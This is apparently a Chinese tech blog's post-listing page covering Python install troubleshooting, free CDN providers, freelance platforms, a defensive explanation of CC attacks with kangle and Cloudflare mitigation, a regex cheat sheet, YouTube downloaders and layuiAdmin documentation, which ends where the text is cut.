教程
信息差
资源
软件工具
技术笔记
AIGC
视频
Search
1
使用AI实现高精度钢琴曲转谱Piano Transcription简明使用教程
37,794 阅读
2
使用ESP8266Wifi模块制作Wifi杀手
37,467 阅读
3
unravel 让图片唱歌详细教程 Real Time Image Animation 项目
27,386 阅读
4
佳能相机刷Magic Lantern魔灯固件
23,503 阅读
5
战地3 正版账号免费分享!
16,213 阅读
教程
信息差
资源
软件工具
技术笔记
AIGC
视频
Search
标签搜索
python
前端
环境搭建
空镜素材
Ubuntu
markdown
神器
黑苹果
编码
技巧
Git
数据库
开发
下载工具
Youtube
CDN
PDF
OST
电影原声带
音乐
易小灯塔
累计撰写
176
篇文章
累计收到
44
条评论
首页
栏目
教程
信息差
资源
软件工具
技术笔记
AIGC
视频
页面
搜索到
175
篇与
的结果
2020-02-09
Pyhton2/Python3 安装/卸载 启动出错排查解决
C盘东西太多, 就迁移了下开发用的环境和软件到别的盘, 迁移之后发现python运行出错, 卸载也重装也有问题, 网上搜索了下, 最终解决了Python2/Pyhton3 共存, 冲突同时装有python2和python3的话, 因为有些文件名是相同的, 所有有可能使用的时候会有意料之外的执行结果解决方法:python2版本里边的python.exe pip.exe 改为 python2.exe pip2.exe 使用时输入python2 pip2或者不改, 使用时输入python pip,更改python3版本里边的python.exe pip.exe 改为 python3.exe pip3.exe 使用时输入python3 pip3python2 和python3不重名就行pip启动出错, 安装包时出错报错Fatal error in launcher: Unable to create process using或其他where pip where pip2 where pip3 如果是路径不是你pip的安装路径, 有可能是装了别的环境影响了, 到系统环境里修改, 把pip的路径排在前面, 或删除比的环境变量路径解决方法 升级新版本的pippython -m pip install --upgrade pip 或 python2 -m pip install --upgrade pip 或 python -m pip install --upgrade pip Python启动出错先查询路径有没有对where python where python2 where python3 如果是路径不是你python的安装路径, 有可能是装了别的环境影响了, 到系统环境里修改, 把python的路径排在前面, 或删除比的环境变量路径 Python安装/卸载出错, 无法卸载报错提示"无法使用此产品的安装源,请确认安装源存在并且你可以访问它""产品安装来源无法使用" 或其他出现这种情况是使用了一些垃圾清除软件清理了软件安装包或别的原因导致 解决办法下载Windows Install Clean Up, 清除软件残留注册项, 重新安装
2020年02月09日
710 阅读
0 评论
0 点赞
2020-02-09
免费/高性价比国内外CDN一览
一:国外篇CloudflareCloudflare是绝对的大厂了,百度的海外CDN业务就是和Cloudflare合作的。Cloudflare采用Anycast技术,免费套餐也是诚意满满,不仅不限流量,还可防DD、CC。很多站长喜欢CloudFlare Partner来自定义节点,不过很可惜,节点存活率很短。目前国内移动是中国香港节点,联通电信是美国西部直连,部分IP走欧洲!官网地址:https://www.cloudflare.com ps:CF冷知识1.Cloudflare持有全球最好的IPV4-IP:”1.1.1.1″。这个IP是一个公共DNS服务器(类似谷歌的”8.8.8.8″),同时也是一个CDN节点IP。2.目前cloudflare已经完全支持中文访问了。3.此外CF Workers也是站长喜欢折腾的项目。陌涛提供给了不少教程,可以在博客里自行搜索关键词。这里列举一些:利用 CloudFlare Workers 搭建 Google 云端硬盘索引网盘【教程】CloudFlare 自定义节点优化网站速度 - CloudFlare 自选 IP 加快 CDN 速度NodeCacheNodeCache也是比较有名的免费CDN商家了,官网提供中文界面。大鸟博客之前也介绍过这家。对国内比较友好的节点是中国香港节点,虽然绕路日本,不过日常情况下也还行。官网:https://www.cloudflare.com 邀请注册地址:https://console-api.nodecache.com/f?aff=4wB0dE 邀请注册送1T流量,否则500G!关于nodecache的文章如下:免备案CDN加速服务商NodeCache新增中国直连线路 送100G体验G-Core LabsGcore VPS是一家来自俄罗斯的VPS主机商,不过自身的业务已经不局限于主机服务,同时他们还提供了CDN加速、云存储以及SSL证书服务。G-Core Labs免费CDN加速提供了100GB的月流量,虽然有日本、韩国、香港、美国等CDN节点,但是国内访问的话都被解析到了俄罗斯,加速效果不是很好,比较适合国外的网站加速。超出100G部分是1G/0.06欧元。可设置流量提醒不过现在似乎需要预存一定金额(10欧元)才能使用,每月免费100G依旧提供。门槛变高了有利有弊。注:关于这100G额度有一定的争议,是每月100G还是100G不限时长用完即止。具体可问官方客服。官网地址:https://gcorelabs.com/FreeCDNFreeCDN是国人商家,免费套餐分国内北岸以及国外免备,国内100G防御国外20G防御,无限流量。开通需要审核。仅支持一个域名,节点在中国香港和日本等地区,速度应该还不错。该CDN提供3个节点(香港/美国/韩国)对国内用户来说是很不错的,当然该站还提供收费CDN,2018年开始提供免费服务。公司简介里面这样介绍的。智云加速CDN,创建于2018年,隶属于重庆易时代无名网络科技有限公司原"重庆智多星电脑网络科技"旗下智多互联IDC品牌。 致力于基础互联网应用标准化产品、云计算综合服务解决方案的互联 网业务服务企业。专注于基础互联网业务服务,提供域名注册、虚拟 主机、服务器合租、VPS、云主机、CDN加速、主机租用、企业邮局、网站推广 等企业应用服务。为个人站长,企业,政府,校园等机构提供最稳定的网络资源与最优质的服务。官网地址:http://su.zhiduopc.com/谷歌云谷歌是超级大厂,他家的服务体验还是很不错的。关于CDN,并无免费套餐,不过新用户注册绑定信用卡会送300美金时长为1年的体验金。流量是0.20美金(每G),加上IP以及其他费用(如果有),大约是有超过1000G不超过1500G的流量。国内访问基本是在中国香港或者中国台湾节点,不过移动绕路到美国或日本,体验比较差。联通电信非常快。官网地址:https://cloud.google.com/aipky(企鹅小屋)企鹅小屋CDN目前公测中,可以购买0元的公测套餐,最长购买1年。流量价格1元/G,每月送50G流量。免费版已经有9个亚洲区的节点。付费的基础套餐和高级套餐的价格价格,配置分别为39元/月和900元/月。官网地址:http://www.aipky.com/HosttryHosttry有每个月10G免费额度,超出部分0.01美金。具体有哪些节点不清楚。官网:https://hostry.com/products/cdn/DDOS-GUARDDDoS-GUARD,应该是俄罗斯商家,2011年成立,主要提供DDOS防护服务,有CDN、虚拟主机、独立服务器等。其CND有免费和收费版,节点有香港、哈萨克斯坦、美国、德国、荷兰等,均不限流量,免费版只能绑定1个域名。缺点是需要修改域名的DNS为他们的。官网地址:https://ddos-guard.net/AionCloudAionCloud免费套餐提供每月5G流量,有WAF功能。官网:https://www.aioncloud.com/优优加速 应该是小厂的cdn,CDN有20+的节点,并且是日本东京Choopa数据中心、香港 CloudIE数据中心、亚太地区等等。还不限制流量,在自己的网页下添加优优加速友链可以免费使用vip。 不过就算收费也不算贵,产品分为高中低,高级版25每月,中级15每月,低级10元每月。无需修改dns,使用智能CNAME解析指向,一健接入。 官网:http://uujs.cc/二:国内篇国内cdn就比较多了,质量都不错,不过唯一缺点的就是需要北岸。其他都没毛病。腾讯云腾讯云是国内一线大厂,有国内十几个节点。免费提供每个月10G流量。新用户注册连续送6个月每月50G流量(相当于60G)官网地址:https://cloud.tencent.com/百度云加速百度云加速的免费套餐还挺香的。免费套餐提供每日10G流量,超出部分回源,不会扣费。节点只有联通以及电信的几个节点。官网地址:https://su.baidu.com/七牛云七牛云CDN每个月的前10G流量免费,但仅限HTTP!官网地址:https://www.qiniu.com/又拍云又拍云联盟提供免费的10G存储以及15G的CDN流量,需要在网站底部挂又拍云的广告官网地址:https://www.upyun.com/加速乐加速乐是知道创宇旗下的,免费套餐提供3600GB/月的流量,但是只支持HTTP官网地址:https://www.yunaq.com/奇安信(360)网站卫士官网称是”将免费进行到底”,有收费套餐(听说涨到3W/年),本站在用(免费版)。官网地址:https://wangzhan.qianxin.com/魔门云魔门云免费套餐每月免费HTTPS请求数: 1000万次超出价格:0.07元/万次,目前最便宜的特惠版299元每月。官网地址:https://www.cachemoment.com/猫云猫云联盟提供30G的CDN流量以及20G的存储,获取方式与又拍云相似。需要在网站底部挂广告。MaoCloud目前推出大陆企业免备案CDN服务。官网地址:https://www.maoyuncloud.com/快快云融合CDN,聚合华为云、阿里云和腾讯云的CDN,个人实名用户可领时长为1年的0元试用流量包(500G)官网地址:https://www.kuaikuaicloud.com/华为云 新手免费体验500G流量包(30天),速度不错。 官网地址:https://www.huaweicloud.com/
2020年02月09日
3,255 阅读
0 评论
0 点赞
2020-01-02
程序员接私活常用平台汇总
01. 前言关于程序员接私活,社会各界说法不一。按照作者的观点来说如果你确实急用钱,价格又合适,那就去做。如果不怎么缺钱,那就接私活之前要好好考虑。私活的钱不好挣是一个方面,更重要的是如果你把做私活的时间花在提升自己上,产生的价值就要大得多。等你提升了自己,提升了固定薪水,远比拿的这点私活的钱划算。千万不要“捡了芝麻丢了西瓜”。如果你主业上遇到了瓶颈,平时的时间比较充分,想有一些额外的收入,同时为了保持技术的熟练度,这种情况下,是可以考虑接一些私活的。对于那种投入时间巨大,回报很可怜的项目,千万不要接。下面介绍一些常用的平台可以接私活。02. 程序员客栈程序员客栈中国非常领先的自由工作平台,为中高端程序员、产品经理和设计师等等互联网相关人员提供稳定的线上工作机会,包括自由工作、远程工作和兼职工作,还支持按需雇佣,工作模式非常多,感兴趣的推荐大家尝试一下。虽然名称叫程序员客栈,但是除了程序员,像产品经理,设计师等等互联网相关人员,都能在上面找到适合自己的项目。感兴趣的可以体验一下。程序员客栈官网:https://www.proginn.com/03. 码市码市是 Coding 推出的互联网软件外包服务平台,意在连接需求方与广大开发者。让项目的需求方快速的找到合适的开发者,完成项目开发工作。码市官方网站:https://codemart.com/04. 猪八戒网猪八戒网创建于2006年,是服务中小微企业的人才共享平台。开创式地为人才与雇主搭建起双边市场,通过线上线下资源整合与大数据服务,实现人才与雇主精准无缝对接。找兼职的地方,主要是入门级项目,不适合专业程序员,只适合新手。猪八戒官网:https://luoyang.zbj.com/05. 开源众包 开源众包–专业的软件众包平台,350万+ 优质开发者为您提供网站、APP、微信/小程序、企业应用等软件开发服务,有效降低企业 IT 软件开发成本、解决技术资源不足等问题。开源中国的众包平台,主要是以众包为主。开源众包官网:https://zb.oschina.net/06. 智城外包网智城外包网,聚合全国软件团队资源,官方认证,1小时响应,零交易佣金,托管安全保障。十年口碑运营,万家靠谱团队。免费比价,免费一站式外包项目管理工具。平台汇集软件咨询专家,软件技术专家,软件开发专家,软件开发公司,软件外包公司,软件外派公司。在线竞标模式,让IT外包项目和短期IT招聘、人力派遣需求可以获得高性价比的候选。海量资源池包括:网站设计、网站开发、手机应用开发、移动应用开发、安卓应用开发、苹果应用开发、微信应用开发、Java技术、C#技术、Web前端开发、IT人力外包、IT人力外派、IT人力短期招聘、技术合伙人、通用软件开发,SaaS软件实施,软件运维等服务门类。网官方网站:http://www.taskcity.com/07. 实现网北京实现与爱科技有限公司是一个互联网工程师兼职平台。解决创业公司招人难、成本高的问题。创业公司通过实现网可以快速预约知名互联网企业的工程师、设计师到自己的团队工作。上午预约工程师,最快晚上即可到班兼职。互联网工程师可以在实现网注册成为技术顾问,利用业余时间助力创业公司,并且获得以时薪为单位的报酬。目前已有9000+工程师或设计师可在线预约和支付,支付后工程师会到团队里坐班沟通,快速推进创业者的产品开发进度。实现网为企业提供BAT等名企背景的、靠谱的开发设计兼职人才和自由职业者,满足企业项目外包、驻场开发、远程兼职、技术咨询等短期人力需求。已服务2000多家企业,包括好未来、方正、人人贷、秒拍等知名企业。官方网站:https://shixian.com/08. 猿急送猿急送,一个高级技术共享平台,这里汇聚知名互联网公司的技术、设计、产品大牛,通过实际坐班、远程等方式,一对一为创业公司解决问题,提高创业效率。猿急送为您提供兼职程序员,兼职工程师信息,猿急送是一个高级技术共享平台,是优质的程序员兼职网站,这里汇聚BAT等知名互联网公司的技术开发、产品、设计大牛,通过实际坐班等方式,一对一为创业公司解决程序员、工程师等开发、产品设计人力问题。官方网站:https://www.yuanjisong.com/09. 人人开发人人开发基于可视化快速开发平台 - 捷得(Joget)/捷得云(Joget Cloud)(PaaS),集众多开发者资源,为企业提供企业管理软件服务。应用市场提供应用产品、插件的在线试用和销售,服务市场以威客众包模式提供管理软件定制开发服务,各类企业级应用开发服务,例如:协同OA产品,ERP,CRM,人事管理,项目管理,资产管理,设备管理等。官方网站:http://rrkf.com/10. 开发邦公司位于北京中关村科技园区核心区海淀园,成立于2010年,专注于为客户提供互联网软件技术开发与咨询服务,致力于利用互联网软件技术为客户提高效率、降低成本、提升效能、优化管理。团队核心成员均具有十年以上软件互联网技术开发经验,毕业于工科名校。至今,已成功执行近百个项目,涵盖管理软件、互联网系统、移动APP、前端互动开发等。先后为华为公司、商汤科技、工信部中国软件评测中心、神州数码、深鉴科技、中软集团、中国万网、中石油吐哈气举中心、华北电力大学、中科院科技政策与管理研究所、浪潮集团、ADI、世界五百强伊顿中国、北京外国语大学、51talk、勤邦生物、安龙基因等知名企业及机构提供过互联网软件技术开发与技术咨询服务。开发邦致力于成为企业业务互联网软件服务与咨询的定制方案提供商。官方网站:https://www.kaifabang.com/11. 电鸭社区电鸭社区旨在帮助更多人走上「只工作,不上班」的自由工作之路,我们是一个「分布式组织」,通过分享及行动带来积极的影响,相信点滴的力量能改变潮水的方向。官方网站:https://eleduck.com/12. 快码深圳快码科技成立于2014年11月,是一家创新型的互联网公司,致力于通过创新的开发方式,为软件技术开发行业带来改变,提供更快速、更高性价比的软件定制服务。“快码”的意思是“快速编写代码”。公司采用“专属项目经理 + 自有开发团队 + 平台程序员”的创新开发方式,严格按照互联网公司的标准来管理开发团队,确保每个项目都有充足的人员投入,确保项目的进度和开发质量。2015年,我们和全球最大的手游、APP云测试平台Testin达成战略合作协议,并获得Testin数百万的战略投资。目前平台已注册的开发者达到3万多人,涵盖各种开发语言与类型,可以提供开发的项目有iOS APP、安卓APP、微信公众号、PC网站、手机网站、微信小程序、桌面软件、智能硬件APP等。上线以来,我们已经完成了数千项目&任务的开发。创业灵感来自于快码团队的从业经验。在近十年的互联网技术经历中,对由于创业公司、外包公司人员不稳定,招聘困难、人手有限等问题而导致现有团队开发任务过重,开发进度缓慢等问题有着切身之痛,将在P2P旅游行业2年多的共享经济经验,和自身最熟悉的“软件开发”结合,创立了“快码”。快码将立足于代码开发,深耕行业,面向未来,通过持续的产品创新,为广大项目方、开发者提供专业的服务,为软件技术开发行业带来改变。快码是一个创新的软件开发平台。项目方可以更省钱、高效地完成项目的开发;开发者可以充分利用闲置时间,实现更高的商业价值!官方网站:https://www.kuai.ma/13. 英选英选,可信赖的软件外包服务。用优秀的人,做漂亮的产品,写干净的代码。平台以定制开发外包服务为主,也是外包项目平台。官方网站:https://www.yingxuan.io/14. UpworkUpwork 是全球最大的、最优秀的、最规范的综合类人力外包服务平台,由著名的 Elance 和 oDesk 合并。这里聚集 900 万来自全球各地的自由工作者,你肯定可以在找到适合你的职位。官方网站:https://www.upwork.com/15. FreelancerFreelancer 的工作类型覆盖了很多不同的领域,由程序开发到市场营销、广告、会计、法务等一系列的可以远程的工作。官方网站:https://www.freelance.com/16. DribbbleDribbble 不只是全球最受欢迎的设计师社区,同样是设计师寻找远程工作的好出处。自从被 Tiny 收购后,Dribbble 的招聘属性正在慢慢增强,试着持续 PO 出自己的好作品,等待你的伯乐,同样你可以关注 Jobs 页面,给心仪的 Team 提交简历。官方网站:https://dribbble.com/jobs17. RemoteokRemoteok 不仅提供最初的兼职类远程工作,还有全职类,签署合同类和实习类的工作。网站创始人 Pieter Levels 本身就是一名数字游民,他同样是 Nomadlist 的创始人。官方网站:https://remoteok.io/18. ToptalToptal 是一个高端一些的自由职业者平台,适合比较有经验和工作尽力的远程工作者。它将企业与全球的软件工程师,设计师和业务顾问联系起来。官方网站:https://www.toptal.com/19. AngelListAngelList 主要是服务于初创公司和天使投资人的平台,这里还有初创公司提供的远程工作的机会,如果对远程加入初创公司感兴趣的,可以尝试一下。官方网站:https://angel.co/remote20. TopcoderTopcoder 通过算法比赛吸引世界顶级的程序员,他会将一下大型项目分割成很多小模块,通过竞赛的模式交给用户来做,优胜者可以拿到制定模块的奖金。官方网站:https://www.topcoder.com/
2020年01月02日
3,153 阅读
0 评论
0 点赞
2019-11-19
CC攻击原理与kangle预防CC攻击思路
CC攻击的基本原理CC攻击利用代理服务器向网站发送大量需要较长计算时间的URL请求,如数据库查询等,导致服务器进行大量计算而很快达到自身的处理能力而形成DOS。而攻击者一旦发送请求给代理后就主动断开连接,因为代理并不因为客户端这边连接的断开就不去连接目标服务器。因此攻击机的资源消耗相对很小,而从目标服务器看来,来自代理的请求都是合法的。以前防CC攻击的方法为防范CC,以前的方法一个是限制每个IP的连接数,这在地址范围很广阔的情况下比较难实现;二是限制代理的访问,因为一般的代理都会在HTTP头中带 X_FORWARDED_FOR字段,但也有局限,有的代理的请求中是不带该字段的,另外有的客户端确实需要代理才能连接目标服务器,这种限制就会拒绝一些正常用户访问。CC攻击用硬防难防住CC攻击比DDOS攻击更可怕的就是,CC攻击一般是硬防很难防止住的。原因有三:一、因为CC攻击来的IP都是真实的,分散的;二、CC攻击的数据包都是正常的数据包;三、CC攻击的请求,全都是有效的请求,无法拒绝的请求。 Kangle防CC攻击思路防CC有效性在于攻击方不接受服务器回应的数据,发送完请求后就主动断开连接,因此要确认连接是否是CC,服务器端不立即执行URL请求命令,而是简单的返回一个页面转向的回应,回应中包含新的URL请求地址。如果是正常访问,客户端会主动再次连接到转向页面,对用户来说是透明的;而对于CC攻击者,由于不接收回应数据,因此就不会重新连接,服务器也就不需要继续进行操作。具体实现具体实现的关键在于转向的URL如何构造,kangle设计的方法是增加一个“值”,即在原URL请求的最后面添加一个独一无二的值,文本形式,作为URL的一部分;当包含该值的URL重新返回时,先检查该值是否合法。如果合法,则说明该URL是合法的再次连接,将URL中的值部分抹去,恢复为原始的URL请求再发给服务器进行正常访问;否则拒绝该URL请求。“值”可以千变万化的设置,非常灵活。用户可以根据需要进行设定。作转向所采用的方式也非常灵活。同时,转向可设为自动转向或手动转向。总结防火墙防CC的办法就是封ip,有可能封掉正常访问用户的ip。CC是http协议的攻击,不是tcp/ip,kangle是底层的web服务器,更理解http。Kangle防CC 攻击可以做到非常有效防御,而且是零误防,不会影响正常用户的访问。Kangle防CC攻击在web管理界面轻松点击鼠设置规则即可,无需繁索的编写代码。 cloudflare默认自带5条防火墙规则,完全免费. 有了防火墙,可以设置自定义规则,防御CC攻击. 这个方法是cloudflare5秒盾防御CC攻击的补充防火墙规则一规则名: rule1 规则匹配: 标签1: threat score >5 标签2: known bots -> off 行动: Challenge (Captcha) 跳出验证码 防火墙规则二规则名: rule2规则匹配: 标签1: known bots -> off 标签2: ip address != 8.8.8.8 行动: Challenge (Captcha) 跳出验证码 日志收集处理 利用上面任意规则后,可以收集到CC攻击的代理IP 收集次数高于n次的IP可以直接添加到防火墙,拉入黑名单
2019年11月19日
1,802 阅读
0 评论
0 点赞
2019-09-16
正则表达式速查表
字符表达式描述[abc]字符集。匹配集合中所含的任一字符。[^abc]否定字符集。匹配任何不在集合中的字符。[a-z]字符范围。匹配指定范围内的任意字符。.匹配除换行符以外的任何单个字符。\转义字符。\w匹配任何字母数字,包括下划线(等价于[A-Za-z0-9_])。\W匹配任何非字母数字(等价于[^A-Za-z0-9_])。\d数字。匹配任何数字。\D非数字。匹配任何非数字字符。\s空白。匹配任何空白字符,包括空格、制表符等。\S非空白。匹配任何非空白字符。分组和引用表达式描述(expression)分组。匹配括号里的整个表达式。(?:expression)非捕获分组。匹配括号里的整个字符串但不获取匹配结果,拿不到分组引用。\num对前面所匹配分组的引用。比如(\d)\1可以匹配两个相同的数字,(Code)(Sheep)\1\2则可以匹配CodeSheepCodeSheep。锚点/边界表达式描述^匹配字符串或行开头。$匹配字符串或行结尾。\b匹配单词边界。比如Sheep\b可以匹配CodeSheep末尾的Sheep,不能匹配CodeSheepCode中的Sheep。\B匹配非单词边界。比如Code\B可以匹配HelloCodeSheep中的Code,不能匹配HelloCode中的Code。数量表示表达式描述?匹配前面的表达式0个或1个。即表示可选项。+匹配前面的表达式至少1个。*匹配前面的表达式0个或多个。``或运算符。并集,可以匹配符号前后的表达式。{m}匹配前面的表达式m个。{m,}匹配前面的表达式最少m个。{m,n}匹配前面的表达式最少m个,最多n个。预查断言:表达式描述(?=)正向预查。比如Code(?=Sheep)能匹配CodeSheep中的Code,但不能匹配CodePig中的Code。(?!)正向否定预查。比如Code(?!Sheep)不能匹配CodeSheep中的Code,但能匹配CodePig中的Code。(?<=)反向预查。比如(?<=Code)Sheep能匹配CodeSheep中的Sheep,但不能匹配ReadSheep中的Sheep。(?<!)反向否定预查。比如(?<!Code)Sheep不能匹配CodeSheep中的Sheep,但能匹配ReadSheep中的Sheep。特殊标志表达式描述/.../i忽略大小写。/.../g全局匹配。/.../m多行修饰符。用于多行匹配。资料来源于 https://r2coding.com/#/README?id=%e5%9f%ba%e7%a1%80%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e9%80%9f%e6%9f%a5%e8%a1%a8
2019年09月16日
878 阅读
0 评论
0 点赞
2019-09-07
免费无需破解的下载Youtube 8k 4k 2k 1080P高清视频的下载工具 Clip Converter 和 3D Youtube Downloader
最近想在youtube上下载一些视频, 找了半天很多软件都不好用, 比如YouTube Downloader Pro, MassTube, 4K Video Downloader等等,,不是只能下载1080p要不就是1080P以上的清晰度收费的如果只是下载1080P的可以用国内的一款很好用的软件: 维棠 官网地址 http://www.vidown.cn/但是维棠最高只能下载1080p清晰度的要下载4k以上分辨率的怎么办呢网上搜寻一番之后 找到了两个比较好用的办法1. 网页在线下载工具 Clip Converter打开网站 https://www.clipconverter.cc/填入Youtube的视屏地址 选择要下载的清晰度和视频格式, 等待云端缓存好就可以下载了速度还挺快的 甚至可以不用代理缺点: 不能下载音乐类型的视频2. 使用3D Youtube Downloader3D Youtube Downloader是一款来自Youtube和其他热门视频网站的简单而强大的下载器。支持4k 8k视频的下载,并且支持转码主要特点:支持各种网站,包括Vimeo,Liveleak,Dailymotion等支持Youtube 自适应流支持Youtube和Dailymotion提要(播放列表,频道等)可以选择视频的质量将下载的剪辑转换为各种视频和音频格式字幕支持 Youtube和Dailymotion在程序中搜索Youtube支持Youtube和Dailymotion上的3D视频快速处理(使用文件的多部分下载和页面的HTTP压缩)多语言支持,带有中文3D Youtube Downloader 完全免费 ,界面简单缺点:只有windows客户端官网:https://yd.3dyd.com/home/下载地址迅雷网盘:https://pan.xunlei.com/s/VO8xcJkksyAkNljXoFvcClgtA1?pwd=e5ux#{cloud title="Youtube高清下载工具 3D Youtube Downloader" type="default" url="https://pan.xunlei.com/s/VO8xcJkksyAkNljXoFvcClgtA1?pwd=e5ux#" password=""/}夸克网盘:https://pan.quark.cn/s/e31b177bcb12{cloud title="Youtube高清下载工具 3D Youtube Downloader" type="default" url="https://pan.quark.cn/s/e31b177bcb12" password=""/}需要注意的是要先设置好代理, 软件会自动下载最高画质webm格式的视频, 点击闪电图标可以下载并转换MP4,MKV等格式的视频格式
2019年09月07日
11,583 阅读
0 评论
3 点赞
2019-06-08
【站长资源】搜索引擎提交入口
百度搜索搜索入口https://baidu.com/搜索引擎提交入口https://ziyuan.baidu.com/搜狗搜索搜索入口https://sogou.com/搜索引擎提交入口https://zhanzhang.sogou.com/360搜索搜索入口https://www.so.com/搜索引擎提交入口https://zhanzhang.so.com/神马搜索搜索入口https://m.sm.cn/搜索引擎提交入口https://zhanzhang.sm.cn/头条搜索搜索入口https://m.toutiao.com/search搜索引擎提交入口https://zhanzhang.toutiao.com/谷歌搜索搜索入口https://google.com/搜索引擎提交入口https://search.google.com/search-console
2019年06月08日
1,074 阅读
0 评论
0 点赞
2019-03-29
layuiAdmin pro v1.x 【单页版】开发者文档
layuiAdmin pro (单页版)是完全基于 layui 架构而成的后台管理模板系统,可以更轻松地实现前后端分离,它是 mvc 的简化版,全面接管 视图 和 页面路由,并可自主完成数据渲染,服务端通常只负责数据接口,而前端只需专注视图和事件交互,所有的页面动作都是在一个宿主页面中完成,因此这赋予了 layuiAdmin 单页面应用开发的能力。题外该文档适用于 layuiAdmin 专业版(单页面),阅读之前请务必确认是否与你使用的版本对应。熟练掌握 layuiAdmin 的前提是熟练掌握 layui,因此除了本篇文档, layui 的文档 也是必不可少的存在。快速上手部署解压文件后,将 layuiAdmin 完整放置在任意目录通过本地 web 服务器去访问 ./start/index.html 即可运行 Demo由于 layuiAdmin 可采用前后端分离开发模式,因此你无需将其放置在你的服务端 MVC 框架中,你只需要给 layuiAdmin 主入口页面(我们也称之为:宿主页面)进行访问解析,它即可全权完成自身路由的跳转和视图的呈现,而数据层则完全通过服务端提供的异步接口来完成。目录说明src/layuiAdmin 源代码,通常用于开发环境(如本地),推荐你在本地开发时,将./start/index.html中的layui.css和layui.js的引入路径由 dist 改为 src 目录。src/controller/:存放 JS 业务模块,即对视图进行事件等交互性处理src/lib/:layuiAdmin 的核心模块,一般不推荐修改src/style/:存放样式,其中 admin.css是核心样式src/views/:存放视图文件。其中 layout.html 是整个框架结构的承载,一般不推荐做大量改动。src/config.js:layuiAdmin 的全局配置文件,可随意修改。src/index.js:layuiAdmin 的入口模块,一般不推荐修改dist/ 通过 gulp 将 layuiAdmin src 目录的源代码进行构建后生成的目录(即:将 JS 和 CSS 文件进行了压缩等处理),通常用于线上环境。关于 gulp 的使用,下文也有介绍。start/ 存放 layuiAdmin 的入口页面、模拟接口数据、layui宿主页面你所看到的 start/index.html 是我们提供好的宿主页面,它是整个单页面的承载,所有的界面都是在这一个页面中完成跳转和渲染的。事实上,宿主页面可以放在任何地方,但是要注意修改里面的 <link> <script> 的 src 和 layui.config 中 base 的路径。全局配置当你已经顺利在本地预览了 layuiAdmin 后,你一定迫不及待关注更深层的结构。打开 src 目录,你将看到 config.js,里面存储着所有的默认配置。你可以按照实际需求选择性修改,下面是 layuiAdmin 默认提供的配置:layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){ exports('setter', { container: 'LAY_app' //容器ID ,base: layui.cache.base //记录layuiAdmin文件夹所在路径 ,views: layui.cache.base + 'views/' //视图所在目录 ,entry: 'index' //默认视图文件名 ,engine: '.html' //视图文件后缀名 ,pageTabs: false //是否开启页面选项卡功能。单页版不推荐开启 ,name: 'layuiAdmin Pro' ,tableName: 'layuiAdmin' //本地存储表名 ,MOD_NAME: 'admin' //模块事件名 ,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息 ,interceptor: false //是否开启未登入拦截 //自定义请求字段 ,request: { tokenName: 'access_token' //自动携带 token 的字段名。可设置 false 不携带。 } //自定义响应字段 ,response: { statusName: 'code' //数据状态的字段名称 ,statusCode: { ok: 0 //数据状态一切正常的状态码 ,logout: 1001 //登录状态失效的状态码 } ,msgName: 'msg' //状态信息的字段名称 ,dataName: 'data' //数据详情的字段名称 } //独立页面路由,可随意添加(无需写参数) ,indPage: [ '/user/login' //登入页 ,'/user/reg' //注册页 ,'/user/forget' //找回密码 ,'/template/tips/test' //独立页的一个测试 demo ] //扩展的第三方模块 ,extend: [ 'echarts', //echarts 核心包 'echartsTheme' //echarts 主题 ] //主题配置 ,theme: { //配色方案,如果用户未设置主题,第一个将作为默认 color: [{ main: '#20222A' //主题色 ,selected: '#009688' //选中色 ,logo: '' //logo区域背景色 ,header: '' //头部区域背景色 ,alias: 'default' //默认别名 }] //为了减少篇幅,更多主题此处不做列举,可直接参考 config.js //初始的颜色索引,对应上面的配色方案数组索引 //如果本地已经有主题色记录,则以本地记录为优先,除非清除 localStorage(步骤:F12呼出调试工具→Aplication→Local Storage→选中页面地址→layuiAdmin→再点上面的X) // 1.0 正式版开始新增 ,initColorIndex: 0 } }); }); 侧边菜单在 start/json/menu.js 文件中,我们放置了默认的侧边菜单数据,你可以去随意改动它。如果你需要动态加载菜单,你需要将 views/layout.html 中的对应地址改成你的真实接口地址侧边菜单最多可支持到三级。无论你采用静态的菜单还是动态的,菜单的数据格式都必须是一段合法的 JSON,且必须符合以下规范:{ "code": 0 //状态码,key 名可以通过 config.js 去重新配置 ,"msg": "" //提示信息 ,"data": [{ //菜单数据,key名可以通过 config.js 去重新配置 "name": "component" //一级菜单名称(与视图的文件夹名称和路由路径对应) ,"title": "组件" //一级菜单标题 ,"icon": "layui-icon-component" //一级菜单图标样式 ,"jump": '' //自定义一级菜单路由地址,默认按照 name 解析。一旦设置,将优先按照 jump 设定的路由跳转 ,"spread": true //是否默认展子菜单(1.0.0-beta9 新增) ,"list": [{ //二级菜单 "name": "grid" //二级菜单名称(与视图的文件夹名称和路由路径对应) ,"title": "栅格" //二级菜单标题 ,"jump": '' //自定义二级菜单路由地址 ,"spread": true //是否默认展子菜单(1.0.0-beta9 新增) ,"list": [{ //三级菜单 "name": "list" //三级菜单名(与视图中最终的文件名和路由对应),如:component/grid/list ,"title": "等比例列表排列" //三级菜单标题 },{ "name": "mobile" ,"title": "按移动端排列" } }] } TIPS:实际运用时,切勿出现上述中的注释,否则将不是合法的 JSON ,会出现解析错误。需要注意的是以下几点:当任意级菜单有子菜单,点击该菜单都只是收缩和展开操作,而并不会跳转,只有没有子菜单的菜单才被允许跳转。菜单的路由地址默认是按照菜单层级的 name 来设定的。我们假设一级菜单的 name 是:a,二级菜单的是b,三级菜单的 name 是c,那么:三级菜单最终的路由地址就是:/a/b/c如果二级菜单没有三级菜单,那么二级菜单就是最终路由,地址就是:/a/b/如果一级菜单没有二级菜单,那么一级菜单就是最终路由,地址就是:/a/但如果你设置了 参数 jump,那么就会优先读取 jump 设定的路由地址,如:"jump": "/user/set"路由layuiAdmin 的路由是采用 location.hash 的机制,即路由地址是放在 ./#/ 后面,并通过 layui 自带的方法: layui.router() 来进行解析。每一个路由都对应一个真实存在的视图文件,且路由地址和视图文件的路径是一致的(相对 views 目录)。因此,你不再需要通过配置服务端的路由去访问一个页面,也无需在 layuiAdmin 内部代码中去定义路由,而是直接通过 layuiAdmin 的前端路由去访问,即可匹配相应目录的视图,从而呈现出页面结果。路由规则./#/path1/path2/path3/key1=value1/key2=value2… 一个实际的示例:./#/user/set ./#/user/set/uid=123/type=1#xxx(下面将以这个为例继续讲解) 当你需要对路由结构进行解析时,你只需要通过 layui 内置的方法 layui.router() 